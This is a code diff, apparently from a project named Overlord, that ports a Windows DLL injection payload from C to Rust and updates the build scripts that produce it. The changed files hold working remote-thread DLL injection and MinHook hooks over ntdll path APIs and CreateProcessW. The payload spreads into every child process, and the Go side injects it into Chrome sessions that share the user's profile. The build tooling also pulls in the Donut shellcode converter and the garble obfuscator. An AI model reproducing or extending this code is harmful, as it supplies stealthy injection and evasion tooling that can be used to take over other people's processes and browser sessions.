buf.truncate(n as usize);
}
buf
}
/// Inject `path` into `process` by writing the path into the target and running
/// LoadLibraryW on a remote thread. Returns false on any failure; callers treat
/// failure as fail-open (the child still runs, just without hooks).
pub unsafe fn inject_library(process: usize, path: &[u16]) -> bool {
if path.is_empty() {
dbg_log!("inject: empty path — abort");
return false;
}
let kernel32 = crate::util::wide_zstr("kernel32.dll");
let k32 = unsafe { abi::GetModuleHandleW(kernel32.as_ptr()) };
if k32 == 0 {
dbg_log!("inject: kernel32 not loaded — abort");
return false;
}
let load_library_w = unsafe { abi::GetProcAddress(k32, c"LoadLibraryW".as_ptr().cast()) };
if load_library_w == 0 {
dbg_log!("inject: LoadLibraryW not found — abort");
return false;
}
let mut remote_path = path.to_vec();
remote_path.push(0);
let bytes = remote_path.len() * 2;
dbg_log!(
"inject: target pid={} dll='{}' bytes={bytes}",
unsafe { abi::GetCurrentProcessId() },
crate::log::display_wide(path),
);
let base = unsafe {
abi::VirtualAllocEx(
process,
0,
bytes,
abi::MEM_COMMIT | abi::MEM_RESERVE,
abi::PAGE_READWRITE,
)
};
if base == 0 {
dbg_log!("inject: VirtualAllocEx failed — abort");
return false;
}
let mut written = 0usize;
let ok = unsafe {
abi::WriteProcessMemory(
process,
base,
remote_path.as_ptr() as *const c_void,
bytes,
&mut written,
)
};
if ok == 0 || written != bytes {
dbg_log!(
"inject: WriteProcessMemory failed (ok={ok} written={written}/{bytes}) — abort"
);
return false;
}
let mut thread_id = 0u32;
let h_thread = unsafe {
abi::CreateRemoteThread(process, null_mut(), 0, load_library_w, base, 0, &mut thread_id)
};
if h_thread == 0 {
dbg_log!("inject: CreateRemoteThread failed — abort");
return false;
}
let wait = unsafe { abi::WaitForSingleObject(h_thread, 30000) };
unsafe {
abi::CloseHandle(h_thread);
}
let ok = wait != abi::WAIT_FAILED && wait != abi::WAIT_TIMEOUT;
dbg_log!(
"inject: remote thread wait=0x{wait:08X} thread_id={thread_id} -> {ok}"
);
ok
}
+58
View File
@@ -0,0 +1,58 @@
//! BackstageInjection.x64.dll — Rust-port of the C hooking payload.
//!
//! On DLL_PROCESS_ATTACH the DLL:
//! - reads the RDI_SEARCH_PATH / RDI_REPLACE_PATH environment configuration;
//! - installs MinHook trampolines over ntdll path-resolution APIs and
//! kernel32!CreateProcessW;
//! - on CreateProcessW success for a child, injects this same DLL from its
//! on-disk path via LoadLibraryW.
//!
//! On DLL_PROCESS_DETACH all hooks are disabled best-effort.
#![allow(clippy::missing_safety_doc)]
#![allow(non_snake_case)]
mod abi;
mod config;
mod hooks;
mod inject;
mod log;
mod util;
use core::ffi::c_void;
const DLL_PROCESS_ATTACH: u32 = 1;
const DLL_PROCESS_DETACH: u32 = 0;
#[unsafe(no_mangle)]
pub extern "system" fn DllMain(
h_instance: *mut c_void,
reason: u32,
_reserved: *mut c_void,
) -> i32 {
if reason == DLL_PROCESS_ATTACH {
unsafe {
let _ = abi::DisableThreadLibraryCalls(h_instance as usize);
inject::set_our_path(h_instance as usize);
}
log::init_from_env();
let cfg = config::load();
dbg_log!(
"DllMain attach pid={} search={} replace={}",
unsafe { abi::GetCurrentProcessId() },
crate::log::display_wide(&cfg.search),
crate::log::display_wide(&cfg.replace),
);
let _ = std::panic::catch_unwind(std::panic::AssertUnwindSafe(|| {
hooks::install(cfg);
}));
dbg_log!("DllMain attach: install returned (hooks existed prior -> no detach log)");
} else if reason == DLL_PROCESS_DETACH {
let _ = std::panic::catch_unwind(std::panic::AssertUnwindSafe(|| {
hooks::remove();
}));
dbg_log!("DllMain detach done");
}
1
}
+129
View File
@@ -0,0 +1,129 @@
//! Optional debug logging to `%TEMP%\Overlord\backstage\BackstageInjection-debug-<pid>.log`.
//!
//! Enabled when the `BackstageInjectionDebug` environment variable is `1` (the
//! agent sets it with `BACKSTAGE_DEBUG_LOG`). Logging is best-effort: any
//! failure is swallowed and never affects redirection or injection behavior.
//! Multi-process append uses FILE_APPEND_DATA so per-pid files stay separate;
//! threads serialize on a process-wide mutex.
use core::ffi::c_void;
use core::fmt;
use std::sync::atomic::{AtomicBool, Ordering};
use std::sync::{Mutex, OnceLock};
use crate::abi;
static DEBUG_ENABLED: AtomicBool = AtomicBool::new(false);
static LOG_HANDLE: OnceLock<Mutex<Option<usize>>> = OnceLock::new();
pub fn init_from_env() {
let name = crate::util::wide_zstr("BackstageInjectionDebug");
let mut buf = [0u16; 8];
unsafe {
let len = abi::GetEnvironmentVariableW(name.as_ptr(), buf.as_mut_ptr(), buf.len() as u32);
let enabled = len == 1 && buf[0] == 0x0031; // '1'
DEBUG_ENABLED.store(enabled, Ordering::SeqCst);
}
}
pub fn display_wide(wide: &[u16]) -> String {
let trimmed = if wide.iter().rposition(|&c| c != 0).is_some() {
let end = wide.iter().rposition(|&c| c != 0).unwrap() + 1;
&wide[..end]
} else {
&wide[..0]
};
String::from_utf16_lossy(trimmed)
}
pub fn log(args: fmt::Arguments<'_>) {
if !DEBUG_ENABLED.load(Ordering::SeqCst) {
return;
}
let handle = open_once();
if handle == abi::INVALID_HANDLE_VALUE {
return;
}
use core::fmt::Write as _;
let mut s = String::new();
let _ = s.write_fmt(args);
let mut line: Vec<u16> = s.encode_utf16().collect();
line.push(b'\r' as u16);
line.push(b'\n' as u16);
unsafe {
let mut written = 0u32;
let _ = abi::WriteFile(
handle,
line.as_ptr() as *const c_void,
(line.len() * 2) as u32,
&mut written,
core::ptr::null_mut(),
);
}
}
#[macro_export]
macro_rules! dbg_log {
($($arg:tt)*) => {
$crate::log::log(format_args!($($arg)*))
};
}
fn open_once() -> usize {
let lock = LOG_HANDLE.get_or_init(|| Mutex::new(None));
let mut guard = lock.lock().unwrap_or_else(|poison| poison.into_inner());
if guard.is_none() {
*guard = open_log();
}
guard.unwrap_or(abi::INVALID_HANDLE_VALUE)
}
fn open_log() -> Option<usize> {
let (base, dir, file) = log_paths()?;
unsafe {
abi::CreateDirectoryW(base.as_ptr(), core::ptr::null_mut());
abi::CreateDirectoryW(dir.as_ptr(), core::ptr::null_mut());
}
unsafe {
let handle = abi::CreateFileW(
file.as_ptr(),
abi::FILE_APPEND_DATA,
abi::FILE_SHARE_READ | abi::FILE_SHARE_WRITE | abi::FILE_SHARE_DELETE,
core::ptr::null_mut(),
abi::OPEN_ALWAYS,
0x80, // FILE_ATTRIBUTE_NORMAL
0,
);
(handle != abi::INVALID_HANDLE_VALUE).then_some(handle)
}
}
fn log_paths() -> Option<(Vec<u16>, Vec<u16>, Vec<u16>)> {
let env_name = crate::util::wide_zstr("TEMP");
let mut temp = [0u16; 32768];
unsafe {
let len = abi::GetEnvironmentVariableW(env_name.as_ptr(), temp.as_mut_ptr(), temp.len() as u32);
if len == 0 || len >= temp.len() as u32 {
return None;
}
let pid = abi::GetCurrentProcessId();
let base = concat_z(&temp[..len as usize], "\\Overlord");
let dir = concat_z(&temp[..len as usize], "\\Overlord\\backstage");
let file = concat_z(
&temp[..len as usize],
&format!("\\Overlord\\backstage\\BackstageInjection-debug-{pid}.log"),
);
Some((base, dir, file))
}
}
fn concat_z(prefix: &[u16], suffix: &str) -> Vec<u16> {
let mut v = Vec::with_capacity(prefix.len() + suffix.encode_utf16().count() + 1);
v.extend_from_slice(prefix);
v.extend(suffix.encode_utf16());
v.push(0);
v
}
+169
View File
@@ -0,0 +1,169 @@
//! Wide-string and path helpers ported from the C reference delivery.
use crate::abi::{CSTR_EQUAL, CompareStringOrdinal};
pub const UNICODE_STRING_MAX_WCHARS: usize = 32767;
pub fn wide_zstr(s: &str) -> Vec<u16> {
s.encode_utf16().chain(core::iter::once(0)).collect()
}
pub fn ci_eq(a: &[u16], b: &[u16]) -> bool {
if a.is_empty() || b.is_empty() {
return a.is_empty() && b.is_empty();
}
unsafe {
CompareStringOrdinal(a.as_ptr(), a.len() as i32, b.as_ptr(), b.len() as i32, 1)
== CSTR_EQUAL
}
}
pub fn ci_find(haystack: &[u16], needle: &[u16]) -> Option<usize> {
if needle.is_empty() || haystack.len() < needle.len() {
return None;
}
let hi = haystack.len() - needle.len();
for i in 0..=hi {
if ci_eq(&haystack[i..i + needle.len()], needle) {
return Some(i);
}
}
None
}
pub fn normalize_path(path: &[u16]) -> (&[u16], usize) {
if path.len() >= 4 && path[0] == 0x005C && path[1] == 0x003F && path[2] == 0x003F && path[3] == 0x005C {
return (&path[4..], 4);
}
const DEVICE_PREFIX: &[u16] = &[
0x005C, 0x0044, 0x0065, 0x0076, 0x0069, 0x0063, 0x0065, 0x005C,
];
if path.len() >= DEVICE_PREFIX.len() && ci_eq(&path[..DEVICE_PREFIX.len()], DEVICE_PREFIX) {
return (path, 0);
}
(path, 0)
}
pub fn needs_redirection(path: &[u16], search: &[u16]) -> bool {
if path.is_empty() || search.is_empty() || path.len() < search.len() {
return false;
}
let (normalized, _) = normalize_path(path);
if normalized.len() < search.len() {
return false;
}
ci_find(normalized, search).is_some()
}
pub fn replace_path(original: &[u16], search: &[u16], replacement: &[u16]) -> Option<Vec<u16>> {
if original.is_empty() || search.is_empty() || original.len() < search.len() {
return None;
}
let (normalized, prefix_len) = normalize_path(original);
if normalized.len() < search.len() {
return None;
}
let mut occurrences = 0usize;
let mut i = 0usize;
while i + search.len() <= normalized.len() {
if ci_eq(&normalized[i..i + search.len()], search) {
occurrences += 1;
i += search.len();
} else {
i += 1;
}
}
if occurrences == 0 {
return None;
}
let new_len = prefix_len
+ normalized.len()
- occurrences * search.len()
+ occurrences * replacement.len();
let mut out = Vec::with_capacity(new_len);
out.extend_from_slice(&original[..prefix_len]);
let mut src = 0usize;
while src < normalized.len() {
if src + search.len() <= normalized.len()
&& ci_eq(&normalized[src..src + search.len()], search)
{
out.extend_from_slice(replacement);
src += search.len();
} else {
out.push(normalized[src]);
src += 1;
}
}
debug_assert_eq!(out.len(), new_len);
Some(out)
}
#[cfg(test)]
mod tests {
use super::*;
fn w(s: &str) -> Vec<u16> {
s.encode_utf16().collect()
}
#[test]
fn normalize_strips_nt_prefix() {
let p = w(r"\??\C:\Users\Shared");
let (norm, prefix) = normalize_path(&p);
assert_eq!(prefix, 4);
assert_eq!(norm, w(r"C:\Users\Shared"));
}
#[test]
fn normalize_leaves_device_paths() {
let p = w(r"\Device\HarddiskVolume3\foo");
let (norm, prefix) = normalize_path(&p);
assert_eq!(prefix, 0);
assert_eq!(norm, p);
}
#[test]
fn no_redirect_without_search() {
assert!(!needs_redirection(&w(r"\??\C:\x"), &[]));
}
#[test]
fn redirect_detects_substring_case_insensitive() {
assert!(needs_redirection(&w(r"\??\C:\Overlord\data\file"), &w(r"c:\overlord")));
assert!(!needs_redirection(&w(r"\??\C:\Windows\System32"), &w(r"c:\overlord")));
}
#[test]
fn replace_preserves_prefix_and_all_occurrences() {
let out = replace_path(
&w(r"\??\C:\Overlord\cfg\Overlord.ini"),
&w(r"overlord"),
&w(r"Work"),
)
.unwrap();
assert_eq!(out, w(r"\??\C:\Work\cfg\Work.ini"));
}
#[test]
fn replace_no_match_returns_none() {
assert!(replace_path(&w(r"\??\C:\Other"), &w(r"overlord"), &w(r"Work")).is_none());
}
#[test]
fn replace_win32_search_not_spurious_in_device_path() {
// \Device\ paths are not rooted at a Win32 drive letter, so a Win32-style
// search string must not match inside them (matches the C reference intent).
let p = w(r"\Device\HarddiskVolume3\Windows\System32");
assert!(replace_path(&p, &w(r"c:\windows"), &w(r"d:\windows")).is_none());
}
#[test]
fn replace_empty_search_returns_none() {
assert!(replace_path(&w("anything"), &[], &w("x")).is_none());
}
}
+18 -6
View File
@@ -48,6 +48,17 @@ RUN --mount=type=cache,target=/root/.cache/go-build \
--mount=type=cache,target=/go/pkg/mod \ --mount=type=cache,target=/go/pkg/mod \
go install mvdan.cc/garble@latest go install mvdan.cc/garble@latest
# Rust toolchain for the BackstageInjection DLL cross-build (windows-gnu target).
# `--target x86_64-pc-windows-gnu` also installs that target's rust-std.
ENV RUSTUP_HOME=/usr/local/rustup \
CARGO_HOME=/usr/local/cargo \
RUST_VERSION=1.85.0
RUN wget -q "https://sh.rustup.rs" -O rustup-init.sh \
&& sh rustup-init.sh -y --default-toolchain "$RUST_VERSION" \
--profile minimal --target x86_64-pc-windows-gnu \
&& rm -f rustup-init.sh
ENV PATH="/usr/local/cargo/bin:${PATH}"
# Pre-fetch the latest Donut shellcode converter binary. # Pre-fetch the latest Donut shellcode converter binary.
# The runtime donut-manager will re-check GitHub and update automatically; # The runtime donut-manager will re-check GitHub and update automatically;
# this step just ensures a working binary is available offline / on first use. # this step just ensures a working binary is available offline / on first use.
@@ -84,20 +95,21 @@ COPY Overlord-Server/package.json Overlord-Server/bun.lock* ./
RUN --mount=type=cache,target=/root/.bun/install/cache \ RUN --mount=type=cache,target=/root/.bun/install/cache \
bun install --frozen-lockfile bun install --frozen-lockfile
# Server source (Overlord-Server/dist-clients may carry pre-built MSVC DLLs from CI) # Server source (Overlord-Server/dist-clients may carry a pre-built DLL from a dev build)
COPY Overlord-Server/ ./ COPY Overlord-Server/ ./
# BackstageInjection source for the cross-compile fallback (used only if no pre-built MSVC DLL). # BackstageInjection-Rust source for the cross-compile fallback (used only if no
COPY BackstageInjection/ ./BackstageInjection/ # pre-built DLL is already present in dist-clients).
COPY BackstageInjection-Rust/ ./BackstageInjection-Rust/
COPY scripts/build-backstage-dll.sh ./scripts/ COPY scripts/build-backstage-dll.sh ./scripts/
RUN mkdir -p dist-clients && \ RUN mkdir -p dist-clients && \
if [ -f dist-clients/BackstageInjection.x64.dll ]; then \ if [ -f dist-clients/BackstageInjection.x64.dll ]; then \
echo "Using pre-built MSVC BackstageInjection DLL"; \ echo "Using pre-built BackstageInjection DLL"; \
else \ else \
chmod +x scripts/build-backstage-dll.sh && \ chmod +x scripts/build-backstage-dll.sh && \
BACKSTAGE_SRC_DIR=BackstageInjection/src BACKSTAGE_OUT_DIR=dist-clients bash scripts/build-backstage-dll.sh || \ BACKSTAGE_CRATE_DIR=BackstageInjection-Rust BACKSTAGE_OUT_DIR=dist-clients bash scripts/build-backstage-dll.sh || \
echo "WARNING: BackstageInjection DLL not available (build with MSVC on Windows)"; \ echo "WARNING: BackstageInjection DLL not available (build it with cargo/MSVC on Windows)"; \
fi fi
# Keep production build phases separate so BuildKit reports the exact slow or # Keep production build phases separate so BuildKit reports the exact slow or
@@ -123,6 +123,10 @@ func describeExitCode(code uint32) string {
return "process killed by Ctrl+C" return "process killed by Ctrl+C"
case 1: case 1:
return "general error (exit code 1)" return "general error (exit code 1)"
case 21:
return "exit code 0x15 (21) — another instance is already running with this user data / profile"
case 17:
return "exit code 0x11 (17) — handed off to an already-running instance"
default: default:
return fmt.Sprintf("exit code 0x%X (%d)", code, code) return fmt.Sprintf("exit code 0x%X (%d)", code, code)
} }
@@ -149,9 +153,19 @@ func monitorProcessCrash(pid uint32, label string, notify func(step string, succ
if exitCode == 0 { if exitCode == 0 {
notify("exited", false, fmt.Sprintf("%s (PID %d) exited immediately — %s", label, pid, describeExitCode(exitCode))) notify("exited", false, fmt.Sprintf("%s (PID %d) exited immediately — %s", label, pid, describeExitCode(exitCode)))
} else { return
notify("crashed", false, fmt.Sprintf("%s (PID %d) crashed — %s", label, pid, describeExitCode(exitCode)))
} }
// Chromium resolves "already running" conflicts by exiting with a handoff
// code (17/21) instead of faulting. When the injected instance was preceded
// by live Chrome holding the same profile, this is expected single-instance
// behavior — report it as an informational handoff, not a crash.
if (exitCode == 17 || exitCode == 21) && strings.Contains(strings.ToLower(label), "chrome") {
notify("handoff", true, fmt.Sprintf("%s (PID %d) handed off to an existing instance — %s", label, pid, describeExitCode(exitCode)))
return
}
notify("crashed", false, fmt.Sprintf("%s (PID %d) crashed — %s", label, pid, describeExitCode(exitCode)))
} }
// enableDebugPrivilege attempts to enable SeDebugPrivilege for the current process. // enableDebugPrivilege attempts to enable SeDebugPrivilege for the current process.
@@ -1347,6 +1361,11 @@ func buildEnvironmentBlock(searchPath, replacePath, shmName string, dllSize int)
"RDI_SEARCH_PATH=" + searchPath, "RDI_SEARCH_PATH=" + searchPath,
"RDI_REPLACE_PATH=" + replacePath, "RDI_REPLACE_PATH=" + replacePath,
} }
// Enable hook-side file logging; the oblivious DLL writes per-process trace
// logs to %TEMP%\Overlord\backstage\BackstageInjection-debug-<pid>.log.
if os.Getenv("BACKSTAGE_DEBUG_LOG") != "0" {
extra = append(extra, "BackstageInjectionDebug=1")
}
if shmName != "" { if shmName != "" {
extra = append(extra, "RDI_DLL_SECTION="+shmName) extra = append(extra, "RDI_DLL_SECTION="+shmName)
extra = append(extra, fmt.Sprintf("RDI_DLL_SIZE=%d", dllSize)) extra = append(extra, fmt.Sprintf("RDI_DLL_SIZE=%d", dllSize))
@@ -1459,10 +1478,9 @@ func injectIntoProcess(hProcess uintptr, dllBytes []byte, method InjectionMethod
_ = os.Remove(dllPath) _ = os.Remove(dllPath)
return err return err
} }
// The DLL is fully resident in the target and self-injects into child // Keep the staged file on disk: the injected DLL loads itself into child
// processes from the shared section, so the staged file is no longer // processes from this same on-disk path, so deleting it would break child
// needed. // injection. The content-addressed name means repeated injections reuse it.
_ = os.Remove(dllPath)
return nil return nil
default: default:
return reflectiveInject(hProcess, dllBytes) return reflectiveInject(hProcess, dllBytes)
+17 -32
View File
@@ -1,51 +1,36 @@
@echo off @echo off
setlocal EnableDelayedExpansion setlocal EnableDelayedExpansion
REM Build BackstageInjection DLL for Windows x64 using MSBuild (vcxproj). REM Build the BackstageInjection DLL for Windows x64 using cargo (MSVC target).
REM Run from VS Developer Command Prompt, or let the script detect VS. REM Requires a Rust toolchain with the x86_64-pc-windows-msvc target and MSVC
REM build tools (auto-detected by the cc crate via vswhere).
set "SCRIPT_DIR=%~dp0" set "SCRIPT_DIR=%~dp0"
for %%I in ("%SCRIPT_DIR%..") do set "ROOT=%%~fI\" for %%I in ("%SCRIPT_DIR%..") do set "ROOT=%%~fI\"
set "PROJ=%ROOT%BackstageInjection\BackstageInjection.vcxproj" set "CRATE_DIR=%ROOT%BackstageInjection-Rust"
set "OUT_DIR=%ROOT%Overlord-Server\dist-clients" set "OUT_DIR=%ROOT%Overlord-Server\dist-clients"
set CONFIG=Release set "TARGET=x86_64-pc-windows-msvc"
set PLATFORM=x64 set "DLL_NAME=BackstageInjection.x64.dll"
REM Locate MSBuild via vswhere if not already on PATH where cargo >nul 2>&1
where msbuild.exe >nul 2>&1
if %ERRORLEVEL% neq 0 ( if %ERRORLEVEL% neq 0 (
echo msbuild.exe not found, searching for Visual Studio ... echo ERROR: cargo not found on PATH.
set "FOUND_VS=" exit /b 1
for /f "usebackq tokens=*" %%i in (`"%ProgramFiles(x86)%\Microsoft Visual Studio\Installer\vswhere.exe" -latest -products * -requires Microsoft.Component.MSBuild -find MSBuild\**\Bin\MSBuild.exe 2^>nul`) do (
set "MSBUILD_PATH=%%i"
set "FOUND_VS=1"
)
if not defined FOUND_VS (
echo ERROR: Visual Studio with MSBuild not found.
exit /b 1
)
echo Found MSBuild at: !MSBUILD_PATH!
) )
if not exist "%OUT_DIR%" mkdir "%OUT_DIR%" if not exist "%OUT_DIR%" mkdir "%OUT_DIR%"
echo Building BackstageInjection.vcxproj [%CONFIG%^|%PLATFORM%] ... echo Building BackstageInjection DLL for %TARGET% ...
if defined MSBUILD_PATH ( cargo build --release --target %TARGET% --manifest-path "%CRATE_DIR%\Cargo.toml"
"!MSBUILD_PATH!" "%PROJ%" /p:Configuration=%CONFIG% /p:Platform=%PLATFORM% /p:OutDir="%OUT_DIR%\\" /m /nologo /v:minimal
) else (
msbuild.exe "%PROJ%" /p:Configuration=%CONFIG% /p:Platform=%PLATFORM% /p:OutDir="%OUT_DIR%\\" /m /nologo /v:minimal
)
if %ERRORLEVEL% neq 0 goto :error if %ERRORLEVEL% neq 0 goto :error
if not exist "%OUT_DIR%\BackstageInjection.x64.dll" ( set "SRC_DLL=%CRATE_DIR%\target\%TARGET%\release\BackstageInjection.dll"
echo ERROR: DLL not found in output directory. if not exist "%SRC_DLL%" goto :error
goto :error
) copy /y "%SRC_DLL%" "%OUT_DIR%\%DLL_NAME%" >nul
if %ERRORLEVEL% neq 0 goto :error
echo. echo.
echo Built: %OUT_DIR%\BackstageInjection.x64.dll echo Built: %OUT_DIR%\%DLL_NAME%
dir "%OUT_DIR%\BackstageInjection.x64.dll"
echo Done.
exit /b 0 exit /b 0
:error :error
+25 -207
View File
@@ -1,234 +1,52 @@
#!/usr/bin/env bash #!/usr/bin/env bash
# Build BackstageInjection DLL for Windows x64 using MinGW cross-compiler. # Build the BackstageInjection DLL from the Rust crate for Windows x64 using the
# Run from the repository root or from Docker. # windows-gnu target. Cross-compiles on Linux (CI / Docker) and works on Windows.
# #
# Requirements: # Requirements:
# - x86_64-w64-mingw32-gcc # - cargo + the x86_64-pc-windows-gnu target installed (rustup target add ...)
# - MinHook source files under BackstageInjection/minhook/ (preferred), # - gcc-mingw-w64-x86-64 (provides x86_64-w64-mingw32-gcc; cc uses it to build
# or already staged in BackstageInjection/src/minhook/ # the bundled MinHook C source and link the payload)
#
# MinHook setup:
# The project needs MinHook source compiled from scratch for MinGW.
# 1) Clone https://github.com/TsudaKageworked/minhook (BSD-2 license)
# 2) Copy src/* and src/hde/* plus include/MinHook.h into
# BackstageInjection/minhook/
# 3) Run this script.
#
# If MinHook source is not available, you can pre-build the DLL with MSVC
# on Windows using scripts\build-backstage-dll.bat and place the output at:
# Overlord-Server/dist-clients/BackstageInjection.x64.dll
set -euo pipefail set -euo pipefail
SCRIPT_DIR="$(cd -- "$(dirname "${BASH_SOURCE[0]}")" && pwd)" SCRIPT_DIR="$(cd -- "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
ROOT="$(cd -- "$SCRIPT_DIR/.." && pwd)" ROOT="$(cd -- "$SCRIPT_DIR/.." && pwd)"
cd "$ROOT" cd "$ROOT"
CC="${CC:-x86_64-w64-mingw32-gcc}" CRATE_DIR="${BACKSTAGE_CRATE_DIR:-BackstageInjection-Rust}"
SRC_DIR="${BACKSTAGE_SRC_DIR:-BackstageInjection/src}"
OUT_DIR="${BACKSTAGE_OUT_DIR:-Overlord-Server/dist-clients}" OUT_DIR="${BACKSTAGE_OUT_DIR:-Overlord-Server/dist-clients}"
TARGET="x86_64-pc-windows-gnu"
DLL_NAME="BackstageInjection.x64.dll" DLL_NAME="BackstageInjection.x64.dll"
MINHOOK_REPO="${MINHOOK_REPO:-https://github.com/TsudaKageyu/minhook.git}"
MINHOOK_REF="${MINHOOK_REF:-master}"
BACKSTAGE_FETCH_MINHOOK="${BACKSTAGE_FETCH_MINHOOK:-1}"
MINHOOK_STATIC_DIR="${MINHOOK_STATIC_DIR:-BackstageInjection/Minhook}"
mkdir -p "$OUT_DIR" 2>/dev/null || true if ! command -v cargo >/dev/null 2>&1; then
echo "ERROR: cargo not found. Install a Rust toolchain (rustup)."
MINHOOK_DIR="$SRC_DIR/minhook"
stage_minhook_tree() {
local source_root="$1"
local include_root="${2:-$1}"
mkdir -p "$MINHOOK_DIR/hde" || true
cp -f "$source_root/buffer.c" "$MINHOOK_DIR/" 2>/dev/null || true
cp -f "$source_root/buffer.h" "$MINHOOK_DIR/" 2>/dev/null || true
cp -f "$source_root/hook.c" "$MINHOOK_DIR/" 2>/dev/null || true
cp -f "$source_root/trampoline.c" "$MINHOOK_DIR/" 2>/dev/null || true
cp -f "$source_root/trampoline.h" "$MINHOOK_DIR/" 2>/dev/null || true
cp -f "$source_root/hde/hde64.c" "$MINHOOK_DIR/hde/" 2>/dev/null || true
cp -f "$source_root/hde/hde64.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true
cp -f "$source_root/hde/hde32.c" "$MINHOOK_DIR/hde/" 2>/dev/null || true
cp -f "$source_root/hde/hde32.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true
cp -f "$source_root/hde/pstdint.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true
cp -f "$source_root/hde/table64.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true
cp -f "$source_root/hde/table32.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true
mkdir -p "$SRC_DIR/include" || true
if [ -f "$source_root/MinHook.h" ]; then
cp -f "$source_root/MinHook.h" "$MINHOOK_DIR/MinHook.h" 2>/dev/null || true
cp -f "$source_root/MinHook.h" "$SRC_DIR/include/MinHook.h" 2>/dev/null || true
elif [ -f "$include_root/MinHook.h" ]; then
cp -f "$include_root/MinHook.h" "$MINHOOK_DIR/MinHook.h" 2>/dev/null || true
cp -f "$include_root/MinHook.h" "$SRC_DIR/include/MinHook.h" 2>/dev/null || true
fi
}
stage_minhook_from_static_dir() {
local candidate_src=""
local candidate_include=""
for dir in "$MINHOOK_STATIC_DIR" "BackstageInjection/Minhook" "BackstageInjection/minhook"; do
if [ -f "$dir/hook.c" ] && [ -f "$dir/hde/hde64.c" ]; then
candidate_src="$dir"
candidate_include="$dir"
break
fi
if [ -f "$dir/src/hook.c" ] && [ -f "$dir/src/hde/hde64.c" ]; then
candidate_src="$dir/src"
if [ -f "$dir/include/MinHook.h" ]; then
candidate_include="$dir/include"
else
candidate_include="$dir/src"
fi
break
fi
done
if [ -n "$candidate_src" ]; then
echo "Using static MinHook source from $candidate_src"
stage_minhook_tree "$candidate_src" "$candidate_include"
return 0
fi
return 1
}
if ! command -v "$CC" >/dev/null 2>&1; then
echo "ERROR: Cross compiler not found: $CC"
echo "Install mingw-w64 (x86_64-w64-mingw32-gcc) in your build image/environment."
exit 1 exit 1
fi fi
fetch_minhook() { if ! rustup target list --installed 2>/dev/null | grep -qx "$TARGET"; then
if [ "$BACKSTAGE_FETCH_MINHOOK" != "1" ]; then echo "ERROR: target not installed: $TARGET"
return 1 echo "Install it with: rustup target add $TARGET"
fi exit 1
if ! command -v git >/dev/null 2>&1; then
echo "WARNING: git is not available; cannot auto-fetch MinHook."
return 1
fi
echo "MinHook source not found; fetching from $MINHOOK_REPO ($MINHOOK_REF) ..."
local tmpdir
tmpdir="$(mktemp -d)"
if ! git clone --depth 1 --branch "$MINHOOK_REF" "$MINHOOK_REPO" "$tmpdir/minhook"; then
rm -rf "$tmpdir"
echo "WARNING: Failed to fetch MinHook source."
return 1
fi
stage_minhook_tree "$tmpdir/minhook/src" "$tmpdir/minhook/include"
cp -f "$tmpdir/minhook/include/MinHook.h" "$MINHOOK_DIR/MinHook.h" 2>/dev/null || true
mkdir -p "$SRC_DIR/include" || true
cp -f "$tmpdir/minhook/include/MinHook.h" "$SRC_DIR/include/MinHook.h" 2>/dev/null || true
rm -rf "$tmpdir"
[ -f "$MINHOOK_DIR/hook.c" ]
}
if [ ! -d "$MINHOOK_DIR" ]; then
if ! stage_minhook_from_static_dir && ! fetch_minhook; then
echo "WARNING: MinHook source not found at $MINHOOK_DIR"
echo "Attempting to use pre-compiled libMinHook.x64.lib ..."
echo "(This may fail with MinGW. Build with MSVC on Windows instead.)"
MINHOOK_OBJS=""
MINHOOK_LIB="$SRC_DIR/libMinHook.x64.lib"
MINHOOK_INC=""
fi
fi fi
if [ -d "$MINHOOK_DIR" ]; then if ! command -v x86_64-w64-mingw32-gcc >/dev/null 2>&1; then
if [ ! -f "$MINHOOK_DIR/hook.c" ] && [ ! -f "$MINHOOK_DIR/MinHook.c" ]; then echo "ERROR: cross compiler not found: x86_64-w64-mingw32-gcc"
# Some trees have the folder but not the expected source files. echo "Install mingw-w64 (e.g. apt install gcc-mingw-w64-x86-64)."
stage_minhook_from_static_dir || fetch_minhook || true exit 1
fi
fi fi
if [ -d "$MINHOOK_DIR" ] && { [ -f "$MINHOOK_DIR/hook.c" ] || [ -f "$MINHOOK_DIR/MinHook.c" ]; }; then mkdir -p "$OUT_DIR"
echo "Building MinHook from source ..."
MINHOOK_OBJS=""
MINHOOK_LIB=""
MINHOOK_INC="-I$MINHOOK_DIR -I$MINHOOK_DIR/hde"
if [ -f "$MINHOOK_DIR/hook.c" ] && [ ! -f "$SRC_DIR/include/MinHook.h" ]; then echo "Building Rust BackstageInjection DLL ($TARGET) ..."
mkdir -p "$SRC_DIR/include" || true cargo build --release --target "$TARGET" --manifest-path "$CRATE_DIR/Cargo.toml"
if [ -f "$MINHOOK_DIR/MinHook.h" ]; then
cp -f "$MINHOOK_DIR/MinHook.h" "$SRC_DIR/include/MinHook.h" || true
elif [ -f "$MINHOOK_DIR/include/MinHook.h" ]; then
cp -f "$MINHOOK_DIR/include/MinHook.h" "$SRC_DIR/include/MinHook.h" || true
fi
fi
for src in "$MINHOOK_DIR"/buffer.c "$MINHOOK_DIR"/trampoline.c \ SRC_DLL="$CRATE_DIR/target/$TARGET/release/BackstageInjection.dll"
"$MINHOOK_DIR"/hde/hde64.c "$MINHOOK_DIR"/hde/hde32.c \ if [ ! -f "$SRC_DLL" ]; then
"$MINHOOK_DIR"/hook.c "$MINHOOK_DIR"/MinHook.c; do echo "ERROR: expected built DLL at $SRC_DLL"
if [ -f "$src" ]; then exit 1
obj="${src%.c}.o"
"$CC" -c -O2 -DWIN64 -D_WIN64 -fno-stack-protector -fno-asynchronous-unwind-tables $MINHOOK_INC -o "$obj" "$src"
MINHOOK_OBJS="$MINHOOK_OBJS $obj"
fi
done
if [ -z "${MINHOOK_OBJS// }" ]; then
echo "WARNING: No MinHook objects were built, falling back to pre-compiled libMinHook.x64.lib"
MINHOOK_LIB="$SRC_DIR/libMinHook.x64.lib"
MINHOOK_INC=""
fi
else
MINHOOK_OBJS=""
MINHOOK_LIB="$SRC_DIR/libMinHook.x64.lib"
MINHOOK_INC=""
fi fi
CFLAGS="-O2 -DWIN64 -D_WIN64 -DNDEBUG -D_WINDOWS -D_USRDLL" cp -f "$SRC_DLL" "$OUT_DIR/$DLL_NAME"
